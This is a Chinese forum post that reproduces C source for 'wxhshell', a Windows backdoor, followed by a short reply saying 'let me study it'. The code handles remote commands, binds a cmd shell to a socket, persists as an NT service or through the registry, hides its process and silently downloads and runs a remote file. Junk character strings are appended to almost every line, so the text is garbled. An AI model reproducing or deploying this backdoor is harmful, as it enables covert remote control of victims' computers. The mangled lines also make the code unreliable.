  if(DownloadFile(cmd,wsh)) 3:f<cy   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^;b$`*M1  
  else YI=03}I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <(YmkOS+  
  } }2^_Gaj  
  else { C w<bu|?  
.~+I"V{y F  
    switch(cmd[0]) { d?RKobk  
  (=d%Bn$6b  
  // 帮助 <m"yPi3TY  
  case '?': { MZGN,[~)6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pv.0!a/M  
    break; =gCv`SFW  
  } bY4~\cP.  
  // 安装 3d^zLL  
  case 'i': { jJc?/1jv  
    if(Install()) Vj7(6'Hg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f-N:  
    else 2t3'"8xJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); em  
    break; &wbe^Wp  
    } AR i_m  
  // 卸载 fA!uSqR$V  
  case 'r': { jlV~-}QKb7  
    if(Uninstall()) h2 2-v X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T-)Ur/qp  
    else $= '_$wG 8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KJ]:0'T  
    break; \Gh]$s p  
    } N@$g"w  
  // 显示 wxhshell 所在路径 +1j@n.)ft  
  case 'p': { [-)N}rL>  
    char svExeFile[MAX_PATH]; (Yz EsY  
    strcpy(svExeFile,"\n\r"); _cqB p7  
      strcat(svExeFile,ExeFile); 1us-ootsjP  
        send(wsh,svExeFile,strlen(svExeFile),0); yIBT*,4  
    break; c}a.  
    } *Z! #6(G  
  // 重启 'k=GSb  
  case 'b': { A2{u("^[6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =@U~ sl [  
    if(Boot(REBOOT)) b{|Ha3;w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yyq:5V!  
    else { S3V3<4CB  
    closesocket(wsh); -hav/7g  
    ExitThread(0); Y_3 {\g|x  
    } e&G!5kz!  
    break; #?)g?u%g=  
    } SomA`y+ERn  
  // 关机 F V8K_xj  
  case 'd': { M),i4a?2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wu5]S)?*  
    if(Boot(SHUTDOWN)) Pa%;[hbn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?m|PK)I  
    else { p2N;-  
    closesocket(wsh); D[2I_3[wp  
    ExitThread(0); 6/ir("LK  
    } A)/ 8FYc  
    break; Az29?|e  
    } 5?+ECxPt  
  // 获取shell /; ;_l2t  
  case 's': { byl#8=?  
    CmdShell(wsh); =B9Ama   
    closesocket(wsh); `+_UG^aeW  
    ExitThread(0); -lr)z=})  
    break; eMk?#&a)  
  }  VP H  
  // 退出 "oZ-W?IKE  
  case 'x': { R}MdBE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \_pP:e  
    CloseIt(wsh); z1t YD  
    break; Tbl~6P  
    } aqq7u5O1r  
  // 离开 w=.w*?>  
  case 'q': { PtySPDClj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %N#8D<ULd  
    closesocket(wsh); lP*_dt9  
    WSACleanup(); 1Wd?AyTY,  
    exit(1); USLG G}R  
    break; okfGd= &  
        } }J27Y ;Zp9  
  } BsV2Q`(gT  
  } km1{Oh  
QR<z%4  
  // 提示信息 |QwX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xx_ v>Jn!  
} Y! e  
  } 0|<ER3xkx  
vzl+0"  
  return; 4 G`7]<  
} Ws"eF0,'Z  
 gBQK  
// shell模块句柄 =e'b*KTL,  
int CmdShell(SOCKET sock) 4fPbwiK j  
{ =h,6/cs  
STARTUPINFO si; [03$*BCq3  
ZeroMemory(&si,sizeof(si)); ".jY3<bQg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R7: >'*F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h|h-<G?>  
PROCESS_INFORMATION ProcessInfo; [)V&$~xW  
char cmdline[]="cmd"; qdoJIP{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d;` bX+K  
  return 0; iM;7V*u  
} WZq0$:I;R  
IXYSZ)z  
// 自身启动模式 bF:]MB^VK  
int StartFromService(void) |=H*" (  
{ cI)T@Zg_o+  
typedef struct ?0_Bs4O\  
{ <}S1ZEZcQ  
  DWORD ExitStatus; B{'x2I#,  
  DWORD PebBaseAddress; 5y07@x  
  DWORD AffinityMask; YEF|SEon0  
  DWORD BasePriority; _:ypPR J  
  ULONG UniqueProcessId; R/8>^6  
  ULONG InheritedFromUniqueProcessId; 23XSQHVx  
}   PROCESS_BASIC_INFORMATION; 8s6~l.v  
r8\"'4B1  
PROCNTQSIP NtQueryInformationProcess; `9QvokD  
ad^7t<a}<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \a]JH\T)Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bl. y4  
eekp&H$'s  
  HANDLE             hProcess; .a._WZF  
  PROCESS_BASIC_INFORMATION pbi; ^E_`M:~  
RUHQ]@d#T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'V";"Ei  
  if(NULL == hInst ) return 0; sM)qzO2wh  
>SO !{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C'x?riJ/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,c#IxB/0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T_ ifDQX;  
icW?a9b&  
  if (!NtQueryInformationProcess) return 0; ,H!E :k  
L~N<<8?\   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]O Nf;RH  
  if(!hProcess) return 0; L}O_1+b  
t}LV[bj1u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g3~e#vdz  
rZ<n0w  
  CloseHandle(hProcess); S;DqM;Q  
)-$Od2u2c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9-)D"ZhLe  
if(hProcess==NULL) return 0; ]k~k6#),;  
<4,hrx&.  
HMODULE hMod; ,4$ZB(\  
char procName[255];  9?c0cwP?  
unsigned long cbNeeded; tRU+6D <w  
`I+G7K K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3=w$1.B d  
vZj:\geV  
  CloseHandle(hProcess); 'PW~4f/m  
JSXudz5 c  
if(strstr(procName,"services")) return 1; // 以服务启动 ,f0|eu>  
j'Ry.8}  
  return 0; // 注册表启动 g.yr) LHt0  
} f\CJ |tKX  
L\d"|87lX  
// 主模块 (`+%K_  
int StartWxhshell(LPSTR lpCmdLine) v%O KOrJ  
{ 4DY\QvW5  
  SOCKET wsl; sE87}Lz  
BOOL val=TRUE; hKP7p   
  int port=0; w?^qAj(*d  
  struct sockaddr_in door; 6t9Q,+nJ  
%00KOM:  
  if(wscfg.ws_autoins) Install(); * ^R?*vNs  
-r%4,4  
port=atoi(lpCmdLine); c@d[HstBJ  
A[QUFk(  
if(port<=0) port=wscfg.ws_port; 6Yw;@w\  
cVjs-Xf7D%  
  WSADATA data; UH=pQm ^W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M0[7>N _  
|sd0fTK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k<p$BZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4/Ub%t -  
  door.sin_family = AF_INET; -a:+ h\K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o HqBNTyH  
  door.sin_port = htons(port);  ;0G+>&C8  
9PXG*r|D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Fd@n#DR `  
closesocket(wsl); E,5XX;|  
return 1; ut8v&i1?  
} ;&B;RUUnTO  
c#'t][Ii  
  if(listen(wsl,2) == INVALID_SOCKET) { Fj? Q4_  
closesocket(wsl); -xg$qvK  
return 1; 9 cU]@j}2  
} KQ0Zy  
  Wxhshell(wsl); !#l>+9  
  WSACleanup(); AD_RU_a9  
l{tpFu9v  
return 0; *x[ZN\$`Y  
Jq0aDf f  
} H4C]%Q  
ziUEA>m */  
// 以NT服务方式启动 S<Z]gY @c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y;zp*(}f$h  
{ 9[yW&t;#  
DWORD   status = 0; $yG>=GN  
  DWORD   specificError = 0xfffffff; s;!TB6b@  
;Fw{p{7<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r8.R?5F@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U .?N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MrXmX[1-  
  serviceStatus.dwWin32ExitCode     = 0; T,z 7U2O  
  serviceStatus.dwServiceSpecificExitCode = 0; cXM4+pa=%  
  serviceStatus.dwCheckPoint       = 0; .Jk[thyU  
  serviceStatus.dwWaitHint       = 0; nf#;]FijB  
_a?c,<A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \09m ?;^  
  if (hServiceStatusHandle==0) return; RsnK B /  
Nn/me  
status = GetLastError(); Ql`N)!  
  if (status!=NO_ERROR) Ph@hk0dgr/  
{ quXL'g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VX+:k.}  
    serviceStatus.dwCheckPoint       = 0; f(}?Sp_  
    serviceStatus.dwWaitHint       = 0; NDsF<2A4  
    serviceStatus.dwWin32ExitCode     = status; X2CpA;#;7l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~mAv)JK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vjNP  
    return; jz CA2N%  
  } WI@l2`X  
{D6lS j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )"W__U0  
  serviceStatus.dwCheckPoint       = 0; fpd4 v|(  
  serviceStatus.dwWaitHint       = 0; l/WQqT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u7Z-kZ  
} 3zC<k2B  
p'SclH[   
// 处理NT服务事件,比如:启动、停止 b;kgP`%%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?@n, 9!  
{ =3K}]3f  
switch(fdwControl) ScN'|Ia.-  
{ {'O,G$Ldkr  
case SERVICE_CONTROL_STOP: l X g.`  
  serviceStatus.dwWin32ExitCode = 0; MaMP7O|W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #)A.yK`u  
  serviceStatus.dwCheckPoint   = 0; .W;,~.l  
  serviceStatus.dwWaitHint     = 0; bF_SD\/  
  { jP(|pz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d v8q&_  
  } 2'>  
  return; JDbRv'F:(  
case SERVICE_CONTROL_PAUSE: {|!> {  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2%!yV~Z  
  break; r.WQ6h/eZ5  
case SERVICE_CONTROL_CONTINUE: i n $~(+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b!lS=zIN  
  break; zDakl*  
case SERVICE_CONTROL_INTERROGATE: 6*W7I- A  
  break; _k'?eZB  
}; 4%refqWK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Z}TF/Rx4  
} ' ozu4y  
_ tba:a(  
// 标准应用程序主函数 %s&"gWi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0j\} @  
{ }\#u~k!l  
:'6vIPN5  
// 获取操作系统版本 ;RR\ Hwix  
OsIsNt=GetOsVer(); $p(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K9\r2w'T'  
>`E (K X  
  // 从命令行安装 luvxwved  
  if(strpbrk(lpCmdLine,"iI")) Install(); "`6pF8k  
uV=ZGr#o  
  // 下载执行文件 C-2{<$2k  
if(wscfg.ws_downexe) { Vi 9Kah+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xLN$!9t  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^*g= 65!1  
} @ zs.M-F  
rS|nO_9f  
if(!OsIsNt) { Iu V7~w  
// 如果时win9x,隐藏进程并且设置为注册表启动 NCX`-SLv  
HideProc(); >f\$~cp  
StartWxhshell(lpCmdLine); 3*8m!gq7s  
} \&XtPQ  
else c^F@9{I  
  if(StartFromService()) d?6\  
  // 以服务方式启动 ?1afW)`a.v  
  StartServiceCtrlDispatcher(DispatchTable); ! (H RP9  
else 6<t<hP_3O  
  // 普通方式启动 xI>HY9i )  
  StartWxhshell(lpCmdLine); <>shx;g^C  
Pt=@U:  
return 0; /mK."5-cm  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八